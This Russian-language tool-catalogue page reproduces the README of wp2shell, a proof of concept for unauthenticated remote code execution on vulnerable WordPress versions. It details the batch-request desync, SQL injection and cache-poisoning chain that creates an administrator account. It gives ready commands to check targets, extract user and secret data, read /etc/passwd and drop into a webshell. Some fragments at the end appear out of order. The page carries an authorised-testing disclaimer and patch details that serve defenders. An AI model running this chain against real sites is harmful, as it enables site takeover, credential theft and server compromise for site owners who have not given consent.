Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
wp2shell — PoC для CVE-2026-63030 + CVE-2026-60137, также известен как WP2Shell | Kitploit
Инструменты/GitHubGitHub/crypto-cat/wp2shell
Сканеры уязвимостейАнализ КодаЭксплуатацияВеб-безопасностьОбучение и Образование
GitHubcrypto-cat/wp2shell

wp2shell

PoC для CVE-2026-63030 + CVE-2026-60137, также известен как WP2Shell

Репозиторий
31 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

wp2shell

Удалённое выполнение кода без аутентификации для WordPress 6.9.0–6.9.4 и 7.0.0–7.0.1.

Объединяет CVE-2026-63030 (SQLi через путаницу маршрутов batch-запросов) с CVE-2026-60137 (повторный вход через changeset кастомайзера) для создания администратора без аутентификации и выполнения команд ОС. Подбор паролей не требуется.

wp2shell demo

Благодарность hashkitten за обнаружение, полный технический анализ SLCyber читайте здесь.

Уязвимость

Обработчик batch-запросов REST API WordPress (serve_batch_request_v1) содержит ошибку индексации off-by-one: когда wp_parse_url() не срабатывает на пути подзапроса, результирующий WP_Error добавляется в $validation[], но не в $matches[]. Это рассинхронизирует два массива — каждый последующий запрос направляется не тому обработчику.

Вкладывая тщательно структурированный batch внутрь другого batch, атакующий может:

  1. Направить запрос, проверенный схемой одной конечной точки, через callback совершенно другой конечной точки
  2. Внедрить несанитизированный SQL через author__not_in (приведение строка→массив пропускает absint())
  3. Использовать UNION SELECT для отравления объектного кэша WordPress поддельными объектами записей
  4. Вызвать автопубликацию changeset, которая повышает привилегии, а затем повторно войти в REST API с контекстом администратора

После завершения подготовки (определение префикса таблиц и ID администратора) нагрузка эскалации срабатывает за один HTTP-запрос — отравление кэша, повышение привилегий и создание пользователя происходят на стороне сервера за один цикл запроса-ответа.

Как работает цепочка

root@kitploit:~
HTTP POST /batch/v1
    │
    ▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                  → parse error, not added to $matches      │
│  [1] POST /wp/v2/posts    → $matches[0] (posts handler)             │
│  [2] POST /batch/v1       → $matches[1] (batch handler)             │
│                                                                     │
│  Desync: request[1] dispatched via $matches[1]                      │
│          POST /wp/v2/posts body interpreted as batch → inner fires  │
│                                                                     │
└──────────────────────────────────────┬──────────────────────────────┘
                                       │
    ┌──────────────────────────────────┘
    ▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                            → parse error (desync)          │
│  [1] GET  /wp/v2/widgets?UNION...   → dispatched by posts handler   │
│          ▲ WP_Query fires UNION, poisons object cache               │
│          ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1  │
│              → changeset published → admin context set              │
│              → nav_menu_item UPDATE → hierarchy Loop 2              │
│                  → parse_request → REST re-entry ─────────────┐     │
│                                                               │     │
│  [2] GET  /wp/v2/posts              (categories handler)      │     │
│  [3] GET  /wp/v2/categories         (users handler)           │     │
│  [4] POST /wp/v2/users  {body}  ◄── re-entry with admin ──────┘     │
│          ▲ desync aligns this with users handler                    │
│          ▲ admin context → user created → die()                     │
│  [5] POST /wp/v2/users  {}          (desync spacer)                 │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

Отравление кэша (7 поддельных записей через UNION):

  • Триггерная запись с шорткодом [embed] в её содержимом
  • Запись changeset (customize_changeset, статус future, дата в прошлом)
  • Партнёр внешнего цикла (parent=changeset, создаёт Loop 1)
  • Цель oEmbed (динамический anti-recursion ID, parent=changeset, пустое содержимое)
  • Запись элемента меню навигации (отравлена как post_type=nav_menu_item для проверки is_nav_menu_item)
  • Запись повторного входа (post_type=request, post_status=parse, parent=inner)
  • Партнёр внутреннего цикла (parent=re-entry, создаёт Loop 2)

Порядок выполнения:

  1. UNION отравляет объектный кэш всеми 7 поддельными записями
  2. Обработчик записей отображает содержимое триггерной записи → срабатывает шорткод [embed]
  3. Поиск в кэше oEmbed находит резервную запись с пустым содержимым → происходит переход к wp_update_post
  4. wp_update_post читает кэшированный changeset (parent=outer) → проверка иерархии обнаруживает Loop 1
  5. Fix-up записывает changeset в БД со статусом future → автоматически преобразуется в publish
  6. Срабатывает _wp_customize_publish_changeset → wp_set_current_user(admin_id) → активен контекст администратора
  7. Changeset обрабатывает nav_menu_item[real_id] — кэш сообщает type=nav_menu_item → путь UPDATE
  8. object_id разрешается в кэшированную запись с post_parent=re-entry → wp_update_post по реальной записи
  9. Проверка иерархии (ненулевой ) обнаруживает Loop 2 (re-entry ↔ inner)

Анти-рекурсивная переменная сессии MySQL (@_wp2s) гарантирует, что цепочка срабатывает ровно один раз и не зацикливается.

Возможности

  • Три режима извлечения с автоопределением: UNION (1 запрос/значение), на основе ошибок через EXTRACTVALUE (~30 символов/запрос), boolean-blind бинарный поиск (~7 запросов/символ)
  • Полный RCE без аутентификации — без учётных данных, без взлома, эскалация срабатывает за один цикл запроса-ответа
  • Автоопределение — префикс таблиц через INFORMATION_SCHEMA, ID администратора через метаданные capabilities
  • Пост-эксплуатация — веб-шелл плагина с токен-аутентификацией, интерактивный шелл с отслеживанием CWD, чтение/запись файлов
  • Режим очистки — --cleanup удаляет созданного пользователя и веб-шелл при выходе
  • Ноль зависимостей — только стандартная библиотека, один файл, работает на Python 3.8+

Установка

root@kitploit:~
git clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

Никакого pip install, никакого virtualenv. Это один файл.

Использование

Проверка, уязвима ли цель

root@kitploit:~
# Passive boolean oracle test
python3 wp2shell.py check http://target.com

# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union

Извлечение данных

root@kitploit:~
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"

# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users

# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users

Полная эксплуатация

root@kitploit:~
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i

# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup

# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i

# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i

Аутентифицированный шелл (с существующими учётными данными)

root@kitploit:~
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i

Требования для полного RCE

Команды check и read работают на любой затронутой цели. Цепочка exploit имеет три дополнительных требования:

Если цель использует Redis или Memcached в качестве объектного кэша, split_the_query принудительно включается независимо от per_page, и строки UNION отбрасываются при выборке только ID. Команда read по-прежнему работает (слепое извлечение не требует, чтобы UNION сохранялся в кэше), но exploit завершится ошибкой.

Затронутые версии

ВеткаУязвимыеИсправленные
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2

Патч добавляет $matches[] = $single_request; для случаев ошибок (исправляя off-by-one) и защиту от повторного входа в serve_request().

Архитектура

root@kitploit:~
wp2shell.py (single file, ~1650 lines)
├── Client          HTTP transport with batch URL negotiation
├── Desync          Nested batch payload construction
├── BlindExtractor  Boolean binary search (universal)
├── UnionExtractor  In-band via forged post_title (fastest)
├── ErrorExtractor  EXTRACTVALUE-based (intermediate)
├── PoisonGraph     Hierarchy loop structure for cache poisoning
├── Exploiter       Chain orchestration (seed → extract → escalate)
└── AdminSession    Authenticated session, webshell, cleanup

Технические детали

Почему /wp/v2/widgets в качестве исходного маршрута?

Контроллер Widgets не регистрирует per_page, orderby или author_exclude в схеме своей конечной точки. Эти параметры проходят проверку без изменений (неизвестные параметры игнорируются валидатором схемы). Когда desync направляет этот запрос через контроллер Posts, эти сырые значения напрямую попадают в WP_Query.

Почему per_page=500?

class-wp-query.php:3375 — split_the_query требует !empty($limits) && posts_per_page < 500. При per_page=500 условие 500 < 500 ложно, поэтому split_the_query отключён. Полный запрос (включая UNION) выполняется как один оператор, и все внедрённые строки сохраняются в результирующем наборе и кэше.

Почему nav_menu_item[real_id] (положительный ID)?

Использование положительного ID записи приводит к пути UPDATE в nav-menu.php:614, который вызывает wp_update_post с ненулевым $post_id. Это критично, потому что wp_check_post_hierarchy_for_loops в post.php:8070 выполняет ранний выход при $post_id = 0 (новые записи). Кэш отравляется значением post_type=nav_menu_item для этого ID, поэтому is_nav_menu_item() проходит проверку типа в nav-menu.php:426. Затем путь UPDATE запускает проверку иерархии, которая обнаруживает Loop 2.

Почему два цикла иерархии?

Loop 1 (changeset ↔ outer) запускает публикацию changeset и устанавливает контекст администратора. Loop 2 (re-entry ↔ inner) срабатывает в окне администратора (внутри вызова save() настройки элемента меню навигации в цикле публикации changeset) и запускает parse_request → повторный вход в REST. Циклы независимы, потому что fix-up Loop 2 должен записать запись повторного входа в БД в окне администратора на строке 3581 — до сброса на строке 3589.

Отказ от ответственности

Этот инструмент опубликован для авторизованного тестирования безопасности и исследовательских целей. Используйте его только в отношении систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам является незаконным.

Благодарности

Исследование и разработка: CryptoCat.

Скачать инструмент
$post_id
  • Fix-up вызывает wp_update_post(re-entry) → записывает type=request, status=parse в БД
  • wp_transition_post_status запускает do_action("parse_request") → rest_api_loaded() → serve_request()
  • REST API выполняет повторный вход и заново обрабатывает весь batch с привилегиями администратора
  • POST /wp/v2/users в хвосте выполняется успешно → администратор создан → die()
  • ТребованиеЗачемПо умолчанию в WP?
    Хотя бы одна опубликованная записьoEmbed требует локальный URL для запуска обработки embedДа (Hello World)
    Отсутствие постоянного объектного кэшаSplit-the-query должен быть отключён, чтобы строки UNION выжилиДа (по умолчанию файловый кэш)
    REST API доступенПовторный вход через parse_request требует REST-серверДа
    Прямая запись в файловую системуЗагрузка плагина требует FS_METHOD=direct или владельца wp-content у PHPДа (большинство хостов)